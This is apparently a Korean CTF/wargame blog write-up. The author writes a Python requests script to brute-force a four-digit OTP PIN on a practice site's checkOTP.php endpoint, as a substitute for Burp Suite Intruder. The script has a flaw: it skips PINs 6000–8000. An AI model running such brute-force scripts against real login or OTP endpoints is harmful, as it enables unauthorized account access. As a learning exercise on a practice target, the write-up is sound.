잡담 : 이번주에 segfault 사이트에 워게임이 다수 올라왔다.
여러 공격을 시도하던중 Burp Suite 의 Intruder 기능이 유료버전이 아니면 여러차례 공격할수록 점점 속도가 느려진다는것을 알게되었다. (역시 돈이 좋다 ....나도 나중에 Pro 버전을....)
이것을 위하여 파이썬으로 Intruder 의 기능을 구현해보도록 하자.
<목차>
-사이트 탐색
-파이썬을 이용한 브루트 포스 공격 구현
<1. 사이트 탐색>
우선 사이트를 한번 탐색해보자.
들어오니 Login 이라는 버튼이 있다 일단 눌러보았다.
숫자 4자리의 핀코드를 찾는 문제인것 같다.
일단 브루트포스 공격을 하기 너무 적합한 문제같다.
하지만 일단 대입해보기전에!
Burp Suite 로 사이트를 탐색해보자!
일단 그냥 "1234" 를 넣어서 들어가봣더니 당연히 Login Fail 이 뜬다..
근데 링크를 보면 GET 방식으로 otpNum 라는 변수를 checkOTP.php 로 전달하는 것을 볼수있다.
여기서 otpNum 라는 변수만 0001~9999까지 대입해보면 되겠구나!...
라는 무식한 생각이 든다..하지만 때론 무식한 방법이 빠른 길이 된다.
그리고 적어도 이 문제에선 노골적으로 GET을 통해 otpNum를 건네는것으로 봐선 브루트포스가 맞는것 같다.
그게 출제자의 의도가 아닐까...
.
.
.
근데.. 문제가 있다..앞서 말했듯이 너무 범위가 커서 Intruder 기능으로 하긴 너무 속도가 느려진다.
결국 우리는 파이썬을 이용해야 한다.
아니면 결제해야한다...!
<2. 파이썬을 이용한 브루트포스 공격 구현>
요청부분의 헤더내용을 전부 파이썬으로 가져와서 거창하게 요청을 다시 보내게 할 수도 있지만
우리는 지금 url의 otpNum 값만 바꾸면 된다. 그렇게 어렵지 않게 느껴진다.
import requests #request 기능 import
pin=1 #시작 핀번호
for pin in range(pin,2000,1): #1~2000까지 1씩증가시키는 for 문
pinNum= format(pin,'04') #값은 pin 인데 자릿수는 4자리고 남는자리는 0 으로 채운다, ex) 만약 pin=1 이면 pinNum=0001 이 되는것!
print(pinNum) # 지금 넣고있는 핀번호를 출력
getData = {"otpNum":pinNum} #otpNum 라는 딕셔너리에 pinNum 을 넣어준다.
req = requests.get('http://ctf.segfaulthub.com:1129/6/checkOTP.php', params = getData) #get방식으로 저 url에 변수를 보내줄건데 변수가 getData
print(req.text) #결과를 출력
while True: #컴퓨터 성능에 따라 연속된 연산에 프로그램이 멈출수도 있기때문에, 중간에 살짝 쉬는텀 만들어주기.
user_input = input("\n\nEnter a to keep going!: ")
if user_input.lower() =="a":
break
# 그 밑으로는 위에코드를 반복시킨것 입니다.
pin=2001
for pin in range(pin,4000,1):
pinNum= format(pin,'04')
print(pinNum)
getData = {"otpNum":pinNum}
req = requests.get('http://ctf.segfaulthub.com:1129/6/checkOTP.php', params = getData)
print(req.text)
while True:
user_input = input("\n\nEnter a to keep going!: ")
if user_input.lower() =="a":
break
pin=4001
for pin in range(pin,6000,1):
pinNum= format(pin,'04')
print(pinNum)
getData = {"otpNum":pinNum}
req = requests.get('http://ctf.segfaulthub.com:1129/6/checkOTP.php', params = getData)
print(req.text)
while True:
user_input = input("\n\nEnter a to keep going!: ")
if user_input.lower() =="a":
break
pin=8001
for pin in range(pin,9999,1):
pinNum= format(pin,'04')
print(pinNum)
getData = {"otpNum":pinNum}
req = requests.get('http://ctf.segfaulthub.com:1129/6/checkOTP.php', params = getData)
print(req.text)
while True:
user_input = input("\n\nEnter q to qtuit: ")
if user_input.lower() =="q":
break
*코드 실행전에 requests 를 import 시키기 위해서
터미널 창에 >>> "pip install requests" 를 입력하여 패키지를 설치해주세요.
requests.get 이라는 함수를 통해 웹사이트와 파이썬이 상호작용 할 수 있었습니다.중간에 2000번 정도 요청을 보내면 잠시 멈추게 한 후 'a'가 입력돼야 진행하게 해주었습니다.컴퓨터 성능에 따라 2000번 이상을 연속으로 연산하게 되면 프로그램이 팅기는 현상이 있어서..
그 부분을 보완해주고자 추가하였습니다.
특정 핀번호를 입력했을때 응답이 다른것을 볼수 있었습니다.
그 핀번호로 입력을 하고 들어가보니..
무사히 Flag 를 흭득할 수 있었습니다!
이번 워게임을 통해선 파이썬으로 웹페이지와 상호작용 하는법을 배웠던 것 같습니다.
하지만 이번엔 간단히 GET 방식으로 url 에 파라미터값을 바꿔서 보내는 동작이였지만..
1. POST 방식으로 보내는 경우도 있고
2. 아예 요청 헤더 자체를 반복해서 보내야 하는 경우도 있으니깐
이 두가지 경우에 대비해서 파이썬 공부를 좀 더 해야 할 것 같습니다.
긴 글 읽어주셔서 감사합니다.
'Python' 카테고리의 다른 글
[Python] Python 을 이용한 SQLi 자동화 (1) | 2024.05.31 |
---|